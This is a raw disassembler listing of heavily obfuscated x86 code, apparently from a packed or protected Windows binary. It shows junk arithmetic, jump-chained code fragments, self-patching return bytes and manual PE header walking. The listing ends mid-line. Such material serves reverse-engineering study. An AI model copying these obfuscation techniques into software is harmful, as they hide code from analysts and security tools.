======================================= sub_756834 proc near ; CODE XREF: _0z4jwtox:0074C509j ; sub_749161:loc_74DC8Fp ... arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0074804E SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0075488B SIZE 00000005 BYTES xchg ecx, [esp-4+arg_0] pop ecx add ebx, 9D4B8201h mov [ebx], eax jmp loc_74804E sub_756834 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_756845: ; CODE XREF: _0z4jwtox:00747B50j or edx, 4BE914F5h rol edx, 7 add edx, 172762Fh mov [edx], eax jmp loc_74885A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_75685B: ; CODE XREF: sub_74FE55+61BEj jnz loc_750866 jmp loc_74E83C ; END OF FUNCTION CHUNK FOR sub_74FE55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D23E loc_756866: ; CODE XREF: sub_74D23E:loc_74A0DEj pop edx call sub_7565EF loc_75686C: ; DATA XREF: sub_748A22:loc_74AFE2o mov eax, [ebp-14h] push offset loc_74B131 jmp loc_74E038 ; END OF FUNCTION CHUNK FOR sub_74D23E ; --------------------------------------------------------------------------- loc_756879: ; CODE XREF: _0z4jwtox:loc_74AE88j push ebx push 23300BE1h xchg edx, [esp] mov ebx, edx pop edx and ebx, 53F30F74h jmp loc_752CE6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74946E loc_756890: ; CODE XREF: sub_74946E+2C01j ; sub_74946E:loc_75219Cj mov eax, 0BB0E1C2h push edx push offset loc_74C70E jmp loc_7454CC ; END OF FUNCTION CHUNK FOR sub_74946E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7501AF loc_7568A0: ; CODE XREF: sub_7501AF:loc_74E70Ej jz loc_749839 mov ebx, 111746E4h and ebx, edx cmp ebx, 315EF44Dh jmp loc_74982F ; END OF FUNCTION CHUNK FOR sub_7501AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D21E loc_7568B8: ; CODE XREF: sub_74D21E:loc_7512A0j xor esi, 0A9181AA6h or esi, 689259A1h and esi, 0FF5272C1h add esi, 15625501h xchg esi, [esp+4+var_4] jmp loc_745839 ; END OF FUNCTION CHUNK FOR sub_74D21E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7462FD loc_7568D8: ; CODE XREF: sub_7462FD:loc_75438Cj ; _0z4jwtox:0075439Ej xor eax, 3DCF63CCh call sub_746E93 mov ds:dword_41F0CC, eax lea eax, nullsub_174 jmp loc_7535FC ; END OF FUNCTION CHUNK FOR sub_7462FD ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_43. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_7568F5 proc near ; DATA XREF: _0z4jwtox:00755372o ; FUNCTION CHUNK AT 0075274A SIZE 00000005 BYTES mov ds:off_41F150, eax push offset sub_756D58 jmp loc_75274A sub_7568F5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_756905: ; CODE XREF: sub_747C22:loc_74F47Cj test dword ptr [eax], 0FFFF0000h jnz loc_746FF7 jmp loc_75706B ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746B7C loc_756916: ; CODE XREF: sub_746B7C+2E54j mov ds:off_41F0BC, eax lea eax, loc_74D62C mov byte ptr [eax], 0C3h jmp loc_74D62C ; END OF FUNCTION CHUNK FOR sub_746B7C ; --------------------------------------------------------------------------- loc_75692A: ; CODE XREF: _0z4jwtox:0074A607j mov eax, [esp] jmp loc_752308 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7474B9 loc_756932: ; CODE XREF: sub_7474B9:loc_7520CEj rol edi, 0Bh add edi, 3808794Fh call sub_74890C loc_756940: ; CODE XREF: _0z4jwtox:00752C34j jmp sub_74C3B3 ; END OF FUNCTION CHUNK FOR sub_7474B9 ; --------------------------------------------------------------------------- loc_756945: ; CODE XREF: _0z4jwtox:0074C048j ; _0z4jwtox:00750E3Dj jnz loc_75598F xchg edx, [edi] and ebp, 9CEF1EE7h xchg eax, edi jmp loc_75598F ; =============== S U B R O U T I N E ======================================= sub_75695A proc near ; CODE XREF: sub_405815+6Cp ; sub_409DBE+259p ... call sub_756974 jmp ds:off_41F094 sub_75695A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C2C9 loc_756965: ; CODE XREF: sub_74C2C9-3CD1j jmp loc_74FB29 ; END OF FUNCTION CHUNK FOR sub_74C2C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_75696A: ; CODE XREF: sub_747C22-A96j jmp loc_749A34 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E6F5 loc_75696F: ; CODE XREF: sub_74E6F5-7A52j jmp loc_751388 ; END OF FUNCTION CHUNK FOR sub_74E6F5 ; =============== S U B R O U T I N E ======================================= sub_756974 proc near ; CODE XREF: sub_756974-32EAj ; sub_747032:loc_755590j ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0074CFF2 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00752AA1 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0075366C SIZE 00000023 BYTES pop edx jns loc_752AA1 mov eax, [esp+4+var_4] jmp loc_74CFF2 sub_756974 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A8D1 loc_756983: ; CODE XREF: sub_74A8D1+Dj mov [ebp-4], eax xor eax, eax push ecx push 0BCA66215h pop ecx rol ecx, 1Ch add ecx, 0B65A074Ch xor ecx, 35A3B49Fh jmp loc_74B93C ; END OF FUNCTION CHUNK FOR sub_74A8D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_7569A3: ; CODE XREF: sub_747AEC:loc_74736Aj add esi, 71D4A6E0h xor eax, esi pop esi sub eax, 31533C2Bh loc_7569B2: ; CODE XREF: sub_7558D0:loc_747216j xor eax, 0ADD62811h jmp loc_755F33 ; END OF FUNCTION CHUNK FOR sub_747AEC ; =============== S U B R O U T I N E ======================================= sub_7569BD proc near ; DATA XREF: sub_74FE55-E54o mov byte ptr [eax], 0C3h jmp loc_74D62C sub_7569BD endp ; =============== S U B R O U T I N E ======================================= sub_7569C5 proc near ; CODE XREF: sub_4085B9+69p ; _0z4jwtox:0074FBA1j ; DATA XREF: ... push esi loc_7569C6: ; CODE XREF: sub_74F615:loc_74AD93j ; _0z4jwtox:loc_74B0BAj push 525B43C8h push offset sub_75079B jmp nullsub_209 sub_7569C5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75712E loc_7569D5: ; CODE XREF: _0z4jwtox:007454E1j ; sub_75712E:loc_746487j sub ebx, 553544CBh push offset sub_748D84 jmp loc_747E43 ; END OF FUNCTION CHUNK FOR sub_75712E ; --------------------------------------------------------------------------- push 9C5CCD16h pop eax or eax, 0D5A98CDAh rol eax, 11h xor eax, 8A74193Eh loc_7569FA: ; CODE XREF: _0z4jwtox:00756C53j call sub_746E93 push esi call sub_751ECC ; START OF FUNCTION CHUNK FOR sub_750887 loc_756A05: ; CODE XREF: sub_750887+Dj jmp nullsub_272 ; END OF FUNCTION CHUNK FOR sub_750887 ; --------------------------------------------------------------------------- loc_756A0A: ; CODE XREF: _0z4jwtox:0074E4FBj jmp sub_7523A2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BA04 loc_756A0F: ; CODE XREF: sub_74BA04:loc_7510D4j pop eax sub eax, 7EBE7A23h add eax, 0D1A8EF75h xor eax, 0B200D67h add eax, 63E2915Fh add eax, ebp push esi push 0E3D07CDh jmp loc_748984 ; END OF FUNCTION CHUNK FOR sub_74BA04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7476BB loc_756A35: ; CODE XREF: sub_7476BB+93A3j mov [ebx], eax pop ebx lea eax, sub_756158 mov byte ptr [eax], 0C3h jmp loc_750167 ; END OF FUNCTION CHUNK FOR sub_7476BB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756158 loc_756A46: ; CODE XREF: sub_756158+1j mov eax, [esp-4+arg_0] push edx push eax jmp loc_754D93 ; END OF FUNCTION CHUNK FOR sub_756158 ; --------------------------------------------------------------------------- loc_756A50: ; DATA XREF: sub_7451EFo call sub_756A5B jmp ds:off_41F170 ; =============== S U B R O U T I N E ======================================= sub_756A5B proc near ; CODE XREF: sub_7491FD+23EFj ; _0z4jwtox:loc_756A50p ... call sub_7491FD sub_756A5B endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_747C22 loc_756A60: ; CODE XREF: sub_747C22-2CAj mov dx, [eax+2] push 705F979h pop eax or eax, 0FFB1076Ch xor eax, 0F8DA341Ah jmp loc_74A51A ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- loc_756A7B: ; CODE XREF: _0z4jwtox:0074A148j ror esi, 2 ; =============== S U B R O U T I N E ======================================= sub_756A7E proc near ; CODE XREF: _0z4jwtox:0074850Ep ; FUNCTION CHUNK AT 007523AE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007530C9 SIZE 0000000C BYTES xchg ecx, [esp+0] pop ecx push esi push 9CE672FDh pop esi jmp loc_7523AE sub_756A7E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7510E4 loc_756A8E: ; CODE XREF: sub_7510E4:loc_74B951j ; _0z4jwtox:0074EF8Bj mov ebp, esp add esp, 0FFFFFFF4h mov [ebp-8], edx mov [ebp-4], eax cmp dword ptr [ebp-8], 0 call sub_74673E ; END OF FUNCTION CHUNK FOR sub_7510E4 ; =============== S U B R O U T I N E ======================================= sub_756AA2 proc near ; CODE XREF: sub_40857E+26p ; _0z4jwtox:007556B0j ; DATA XREF: ... var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0074543B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074DFEE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074EA29 SIZE 0000000E BYTES push ebx push 0F81D5055h pop ebx or ebx, 765070E3h js loc_74543B loc_756AB5: ; CODE XREF: sub_752D11-5E73j jmp loc_74EA29 sub_756AA2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C670 loc_756ABA: ; CODE XREF: sub_74C670+99j jmp loc_74ABC6 ; END OF FUNCTION CHUNK FOR sub_74C670 ; --------------------------------------------------------------------------- loc_756ABF: ; CODE XREF: _0z4jwtox:007542BAj xchg eax, edx ; =============== S U B R O U T I N E ======================================= sub_756AC1 proc near ; CODE XREF: _0z4jwtox:00748113p xchg eax, [esp+0] pop eax mov [ecx], eax pop ecx jmp loc_74F2EB sub_756AC1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746CC3 loc_756ACD: ; CODE XREF: sub_746CC3:loc_755905j mov eax, [eax] add eax, [ebp-4] call sub_750243 push offset loc_753E13 jmp loc_7499A0 ; END OF FUNCTION CHUNK FOR sub_746CC3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74673E loc_756AE1: ; CODE XREF: sub_74673E:loc_7475ADj push eax push edi push 56EF4C9h pop edi rol edi, 0Fh jmp loc_746363 ; END OF FUNCTION CHUNK FOR sub_74673E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_56. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756B35 loc_756AF2: ; CODE XREF: sub_756B35+Dj jmp loc_75224C ; END OF FUNCTION CHUNK FOR sub_756B35 ; --------------------------------------------------------------------------- loc_756AF7: ; DATA XREF: sub_756158+7o mov eax, [esp] push edx push ecx call sub_74AE8E ; START OF FUNCTION CHUNK FOR sub_75100C loc_756B01: ; CODE XREF: sub_75100C+1CB6j jmp loc_74DF71 ; END OF FUNCTION CHUNK FOR sub_75100C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7473E6 loc_756B06: ; CODE XREF: sub_7473E6+71Dj jmp nullsub_212 ; END OF FUNCTION CHUNK FOR sub_7473E6 ; --------------------------------------------------------------------------- jnb loc_754F7E jmp sub_74ADC0 ; --------------------------------------------------------------------------- loc_756B16: ; DATA XREF: sub_74B74C+215Eo call nullsub_300 ; START OF FUNCTION CHUNK FOR sub_7475DD loc_756B1B: ; CODE XREF: sub_7475DD+1D01j ; sub_754FC6-846Aj mov eax, ds:dword_7575C8 mov [ebp-4], eax mov eax, offset dword_7575C4 call sub_74F144 mov eax, [ebp-4] jmp loc_74CC1E ; END OF FUNCTION CHUNK FOR sub_7475DD ; =============== S U B R O U T I N E ======================================= sub_756B35 proc near ; CODE XREF: sub_74F1FE:loc_7454FDp ; sub_74F73B+4159j ; FUNCTION CHUNK AT 0075224C SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00756AF2 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi add edi, 381C1511h mov [edi], eax pop edi jmp loc_756AF2 sub_756B35 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov edx, [ecx] jmp sub_7514BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_756B4E: ; CODE XREF: sub_747C22+3BDCj mov eax, [ebp-4] cmp dword ptr [eax+4], 0 ja loc_74D18F jmp loc_746F64 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746ED2 loc_756B61: ; CODE XREF: sub_746ED2+6EBDj jmp nullsub_214 ; END OF FUNCTION CHUNK FOR sub_746ED2 ; --------------------------------------------------------------------------- mov edi, 99EB7173h jmp sub_74CBCF ; =============== S U B R O U T I N E ======================================= sub_756B70 proc near ; CODE XREF: sub_7500AE:loc_748E34p ; _0z4jwtox:00749566j xchg edi, [esp+0] pop edi mov ebp, esp add esp, 0FFFFFFECh push offset loc_750CE7 jmp nullsub_215 sub_756B70 endp ; --------------------------------------------------------------------------- loc_756B83: ; CODE XREF: _0z4jwtox:00755910j ja loc_7553AF push ebp loc_756B8A: ; CODE XREF: _0z4jwtox:loc_7558FFj add esi, 0D46539F1h xchg esi, [esp] jmp loc_753DCC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749980 loc_756B98: ; CODE XREF: sub_749980-4046j add esi, ebp add esi, 1F444975h mov [esi], eax pop esi mov eax, [ebp-18h] mov eax, [eax+18h] jmp loc_748295 ; END OF FUNCTION CHUNK FOR sub_749980 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748FA4 loc_756BAE: ; CODE XREF: sub_748FA4+E219j and eax, 85DA28E2h test eax, 8000000h jmp loc_745C39 ; END OF FUNCTION CHUNK FOR sub_748FA4 ; --------------------------------------------------------------------------- loc_756BBF: ; CODE XREF: _0z4jwtox:loc_746008j push offset sub_75275A jmp loc_75035D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F688 loc_756BC9: ; CODE XREF: sub_74F688:loc_7551B9j pop edx mov eax, [esp+4+var_4] push edx call sub_755C10 push 60BCA83Bh pop eax rol eax, 18h and eax, 8B8D6D5Ch jmp loc_7463DE ; END OF FUNCTION CHUNK FOR sub_74F688 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7577AC loc_756BE7: ; CODE XREF: sub_7577AC:loc_7577BBj pop ecx or ecx, 17D4C4B2h and ecx, 120C66ABh add ecx, 0EE68D066h xchg ecx, [esp-4+arg_0] jmp loc_75252C ; END OF FUNCTION CHUNK FOR sub_7577AC ; =============== S U B R O U T I N E ======================================= sub_756C02 proc near ; DATA XREF: _0z4jwtox:0074DD3Fo mov [ebp-10h], eax mov eax, [ebp-10h] sub_756C02 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_748A22 loc_756C08: ; CODE XREF: sub_748A22:loc_74DC40j mov eax, [eax+60h] add eax, [ebp-4] jmp loc_7468A1 ; END OF FUNCTION CHUNK FOR sub_748A22 ; --------------------------------------------------------------------------- shr ecx, 2 jmp loc_747B2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F69D loc_756C1B: ; CODE XREF: sub_74F69D-5D2Dj add eax, 5AD12C43h call sub_750A63 loc_756C26: ; CODE XREF: sub_746DD8+11j call sub_745697 loc_756C2B: ; CODE XREF: sub_74C0A0:loc_7567A0j mov eax, [esp+4+var_4] push edx call sub_749184 loc_756C34: ; CODE XREF: _0z4jwtox:0074ECBCj jmp loc_755390 ; END OF FUNCTION CHUNK FOR sub_74F69D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748DCB loc_756C39: ; CODE XREF: sub_748DCB+17F4j jge loc_750DB7 loc_756C3F: ; CODE XREF: _0z4jwtox:0074B894j jmp loc_750EB3 ; END OF FUNCTION CHUNK FOR sub_748DCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748A22 loc_756C44: ; CODE XREF: sub_748A22-216Bj jmp loc_74AFDB ; END OF FUNCTION CHUNK FOR sub_748A22 ; --------------------------------------------------------------------------- mov ebp, 244E4504h jmp loc_750DB4 ; --------------------------------------------------------------------------- jnp loc_7569FA jmp sub_74F08D ; --------------------------------------------------------------------------- loc_756C5E: ; CODE XREF: _0z4jwtox:007541B5j push ebx pushf push 49DAE688h pop ebx rol ebx, 0Eh jmp loc_748637 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_202. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749980 loc_756C6F: ; CODE XREF: sub_749980+4E05j jmp loc_74B602 ; END OF FUNCTION CHUNK FOR sub_749980 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747290 loc_756C74: ; CODE XREF: sub_747290+7EA7j add ecx, 0BC6C56E0h call sub_74FA24 adc eax, edx jmp sub_74A066 ; END OF FUNCTION CHUNK FOR sub_747290 ; --------------------------------------------------------------------------- sub edx, 2F2FA744h adc eax, edx jmp sub_74CA1D ; --------------------------------------------------------------------------- loc_756C93: ; CODE XREF: _0z4jwtox:loc_74FA50j push eax loc_756C94: ; CODE XREF: _0z4jwtox:loc_7548E0j mov eax, edx xchg eax, [esp] push offset sub_74FEE8 jmp locret_756236 ; --------------------------------------------------------------------------- loc_756CA3: ; CODE XREF: _0z4jwtox:00750C9Ej mov esi, edi loc_756CA5: ; CODE XREF: _0z4jwtox:007556A3j add eax, 0DE7937D3h mov eax, [eax] or eax, eax jnz loc_7484C7 jmp loc_74A964 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75364C loc_756CBA: ; CODE XREF: sub_75364C-33DCj cmp al, 0A4h jz loc_745F4F jmp loc_749408 ; END OF FUNCTION CHUNK FOR sub_75364C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749FEE loc_756CC7: ; CODE XREF: sub_749FEE+7601j push edx push esi push 60198CA3h pop esi sub esi, 0D32CB62Ah or esi, 0FA0FFF12h call sub_756639 ; END OF FUNCTION CHUNK FOR sub_749FEE ; START OF FUNCTION CHUNK FOR sub_745C55 loc_756CE0: ; CODE XREF: sub_745C55+1j push 7C33EBCCh pop edx xor edx, 4D41233Fh sub edx, 192A7602h call sub_752957 loc_756CF7: ; CODE XREF: sub_747C22:loc_747B69j jmp loc_7488CA ; END OF FUNCTION CHUNK FOR sub_745C55 ; --------------------------------------------------------------------------- locret_756CFC: ; CODE XREF: _0z4jwtox:0074F882j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E531 loc_756CFD: ; CODE XREF: sub_74E531+5C1Dj jmp sub_7490F6 ; END OF FUNCTION CHUNK FOR sub_74E531 ; --------------------------------------------------------------------------- loc_756D02: ; DATA XREF: sub_74ED72+7o call sub_756826 push offset sub_75701A jmp loc_7521EE ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_139. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75275A loc_756D12: ; CODE XREF: sub_75275A-4C24j jmp loc_7547D7 ; END OF FUNCTION CHUNK FOR sub_75275A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A96E loc_756D17: ; CODE XREF: sub_74A96E-C49j popf cdq popf xor edx, 0A27686E1h loc_756D20: ; CODE XREF: sub_74A96E-C51j xor eax, 0B0020BB7h add eax, ebp call sub_752D11 ; END OF FUNCTION CHUNK FOR sub_74A96E ; START OF FUNCTION CHUNK FOR sub_74FA7E loc_756D2D: ; CODE XREF: sub_74FA7E+5637j jmp loc_74921E ; END OF FUNCTION CHUNK FOR sub_74FA7E ; --------------------------------------------------------------------------- loc_756D32: ; CODE XREF: _0z4jwtox:0075508Dj jmp loc_749BA5 ; --------------------------------------------------------------------------- mov ds:off_41F0E0, eax call sub_74B008 test ebp, ecx jmp loc_75024E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748E45 loc_756D49: ; CODE XREF: sub_748E45:loc_74D7E9j add eax, 0C181BD76h mov eax, [eax] push ebx pushf jmp loc_751540 ; END OF FUNCTION CHUNK FOR sub_748E45 ; =============== S U B R O U T I N E ======================================= sub_756D58 proc near ; DATA XREF: sub_7568F5+6o ; FUNCTION CHUNK AT 00749344 SIZE 00000005 BYTES lea eax, loc_74E2C2 mov byte ptr [eax], 0C3h jmp loc_749344 sub_756D58 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_757151 loc_756D66: ; CODE XREF: sub_757151-8E8Ej mov eax, [esp-8+arg_4] push offset loc_7470C0 jmp sub_7508BD ; END OF FUNCTION CHUNK FOR sub_757151 ; --------------------------------------------------------------------------- loc_756D73: ; CODE XREF: _0z4jwtox:00752276j retn ; --------------------------------------------------------------------------- pop edx mov eax, [esp] push edx call sub_753D0E jmp loc_74EDD2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_152. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75479F loc_756D84: ; CODE XREF: sub_75479F+Fj jmp loc_7450BB ; END OF FUNCTION CHUNK FOR sub_75479F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7473D1 loc_756D89: ; CODE XREF: sub_7473D1:loc_7451C9j jmp loc_750901 ; END OF FUNCTION CHUNK FOR sub_7473D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747736 loc_756D8E: ; CODE XREF: sub_747736:loc_74DD9Bj mov ebx, [ebx] add edx, ebx pop ebx add eax, edx mov eax, [eax] jmp sub_75565F ; END OF FUNCTION CHUNK FOR sub_747736 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754CBF loc_756D9C: ; CODE XREF: sub_754CBF:loc_74ACE6j xor edi, 0C07BF3FEh loc_756DA2: ; CODE XREF: _0z4jwtox:0074FB73j add edi, ebp add edi, 0A7E8C2C1h mov edi, [edi] popf add eax, edi pop edi push esi jmp loc_74D134 ; END OF FUNCTION CHUNK FOR sub_754CBF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7465D2 loc_756DB6: ; CODE XREF: sub_7465D2+66B4j ; sub_7465D2+66BDj and edi, 61D74E22h add edi, 0BC8B904Ch add edi, ebp add edi, 42B225BAh mov edi, [edi] xchg edi, [esp+0] jmp loc_74BE09 ; END OF FUNCTION CHUNK FOR sub_7465D2 ; --------------------------------------------------------------------------- push ecx push 2F0F719Eh pop ecx and ecx, 3DD94EC3h cmp ecx, 0AD6B8AE1h jmp loc_74FD1F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747A94 loc_756DEC: ; CODE XREF: sub_747A94:loc_7543D9j sub al, 99h push 0E093A646h pop edx rol edx, 1 add edx, 5ACFDCD4h rol edx, 1Ah xor edx, 8D363DA8h jmp loc_7528F5 ; END OF FUNCTION CHUNK FOR sub_747A94 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_756E0A: ; CODE XREF: sub_747AEC:loc_755F33j rol eax, 0Ah push edx push 60E487A2h pop edx rol edx, 0Ah sub edx, 0B50A69FAh or edx, 3C2623FDh jmp loc_7477EF ; END OF FUNCTION CHUNK FOR sub_747AEC ; --------------------------------------------------------------------------- loc_756E28: ; CODE XREF: _0z4jwtox:0074EAB7j ja loc_74729E not ebx ; START OF FUNCTION CHUNK FOR sub_7515AA loc_756E30: ; CODE XREF: sub_7515AA:loc_7523FEj and eax, 0AA09DA8Eh add eax, 0F873C420h mov eax, [eax] jmp loc_757483 ; END OF FUNCTION CHUNK FOR sub_7515AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74698F loc_756E43: ; CODE XREF: sub_74698F:loc_746249j jge loc_74ACD7 ; END OF FUNCTION CHUNK FOR sub_74698F ; START OF FUNCTION CHUNK FOR sub_750F2E loc_756E49: ; CODE XREF: sub_750F2E+10j jmp loc_755CB5 ; END OF FUNCTION CHUNK FOR sub_750F2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7561AB loc_756E4E: ; CODE XREF: sub_7561AB-106A6j jmp loc_74D9C5 ; END OF FUNCTION CHUNK FOR sub_7561AB ; --------------------------------------------------------------------------- loc_756E53: ; CODE XREF: _0z4jwtox:0075049Ej mov esi, [ecx] pushf adc eax, 3998E22Bh jmp loc_74ACD4 ; --------------------------------------------------------------------------- mov [ecx], esi loc_756E63: ; DATA XREF: .data:off_42D774o jmp loc_752654 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E7AE loc_756E68: ; CODE XREF: sub_74E7AE:loc_748D7Fj mov eax, [ebp-4] add eax, 3Ch mov eax, [eax] add eax, [ebp-4] loc_756E73: ; CODE XREF: sub_749980-222Cj add eax, 18h mov [ebp-10h], eax loc_756E79: ; CODE XREF: sub_74AAC1:loc_7558FAj call sub_7474F5 loc_756E7E: ; CODE XREF: sub_74A71A+7F35j jmp loc_74ED14 ; END OF FUNCTION CHUNK FOR sub_74E7AE ; --------------------------------------------------------------------------- loc_756E83: ; CODE XREF: _0z4jwtox:00748E9Ej jmp nullsub_265 ; --------------------------------------------------------------------------- loc_756E88: ; DATA XREF: sub_746CC3+613Eo add eax, [ebp-4] call sub_750243 cmp eax, [ebp-8] call sub_7450FC ; START OF FUNCTION CHUNK FOR sub_74AAC1 loc_756E98: ; CODE XREF: sub_74AAC1:loc_750EFCj mov ecx, ebx xchg ecx, [esp+0] push 0CA0F883h pop ebx rol ebx, 16h jmp loc_748DEB ; END OF FUNCTION CHUNK FOR sub_74AAC1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74742A loc_756EAB: ; CODE XREF: sub_74742A+FBB3j jno loc_7544DE ror edi, 2 cdq sbb ecx, 95E0D53Dh jmp loc_755BF9 ; END OF FUNCTION CHUNK FOR sub_74742A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748A22 loc_756EC0: ; CODE XREF: sub_748A22+60DDj xor edx, esi loc_756EC2: ; CODE XREF: sub_748A22:loc_753630j push eax lea eax, dword_756684 push ebp mov ebp, eax loc_756ECC: ; CODE XREF: _0z4jwtox:0074F037j xchg ebp, [esp+0Ch+var_C] push eax push offset loc_74EBA2 jmp nullsub_226 ; END OF FUNCTION CHUNK FOR sub_748A22 ; --------------------------------------------------------------------------- loc_756EDA: ; CODE XREF: _0z4jwtox:00757865j shr ebp, 0Eh loc_756EDD: ; CODE XREF: _0z4jwtox:loc_749412j push 648A0BDBh pop eax rol eax, 7 xor eax, 0AACDC409h call sub_746E93 rol eax, 13h jmp loc_752FEB ; --------------------------------------------------------------------------- mov ds:dword_41F060, eax lea eax, nullsub_270 mov byte ptr [eax], 0C3h jmp nullsub_270 ; =============== S U B R O U T I N E ======================================= sub_756F0D proc near ; CODE XREF: sub_404D4C+9Fp ; sub_4093C1+1B6p ... ; FUNCTION CHUNK AT 00747BB0 SIZE 00000005 BYTES push offset sub_756FE2 jmp loc_747BB0 sub_756F0D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748C0D loc_756F17: ; CODE XREF: sub_748C0D:loc_74FFE3j pop edx rol edx, 1Ah or edx, 89614E44h cmp edx, 0D11E4E0Ch jmp loc_7575D9 ; END OF FUNCTION CHUNK FOR sub_748C0D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_40. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_756F2D: ; CODE XREF: _0z4jwtox:00753838j jmp sub_756A5B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745C34 loc_756F32: ; CODE XREF: sub_745C34+E5F2j pushf loc_756F33: ; CODE XREF: sub_745C34:loc_75421Bj sub eax, 1A6F68D8h add eax, 96FA0327h call sub_746E93 push edx push 0BBAF60B4h pop edx xor edx, 4B0DDB50h jmp loc_749A08 ; END OF FUNCTION CHUNK FOR sub_745C34 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AAC1 loc_756F56: ; CODE XREF: sub_74AAC1:loc_74C0D7j jz loc_748C17 jmp loc_748E11 ; END OF 